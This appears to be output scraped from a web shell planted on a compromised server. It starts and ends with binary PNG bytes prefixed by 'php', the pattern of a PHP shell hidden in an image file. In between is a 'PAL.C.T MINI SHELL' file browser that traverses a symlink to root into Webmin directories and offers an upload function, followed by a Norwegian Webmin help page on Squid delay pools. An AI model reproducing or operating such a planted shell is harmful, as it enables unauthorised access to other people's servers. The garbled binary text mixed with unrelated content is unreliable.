php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/libexec/webmin/squid/help/
upload
files >> //var/www/html/sub/images/sym/root/usr/libexec/webmin/squid/help/edit_delay.no.auto.html

<header> Forsink bassenger </header><p> Forsinkelse av bassenger gir et middel som begrenser bruken av båndbredde for klienter. Med forsinkelsesbassenger kan klienter begrenses på individnivå eller i grupper. ACL-er brukes til å bruke båndbreddegrenser for brukere. <p> Denne siden viser eksisterende bassenger og deres begrensninger. Det er også en seksjon for globale alternativer, som for øyeblikket bare har ett alternativ. <p> <b>Opprinnelig bøttenivå</b> <br> På grunn av måten forsinkelsesbassengene fungerer, kan en ny klient potensielt få lov til å bruke mer enn sin rettferdige andel av båndbredden fordi deres nye bøtte ville være tom. I et overbelastet nettverk vil dette bety at andre tilkoblinger fra klienter med nesten fulle bøtter vil bli sultet av båndbredde i en periode. Dette alternativet er som standard 50%, og kan sannsynligvis bli i fred, med mindre <b>maksverdiene</b> er veldig store (maksverdien når du konfigurerer grenser, gjelder faktisk bøttestørrelsen for bassenget).
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`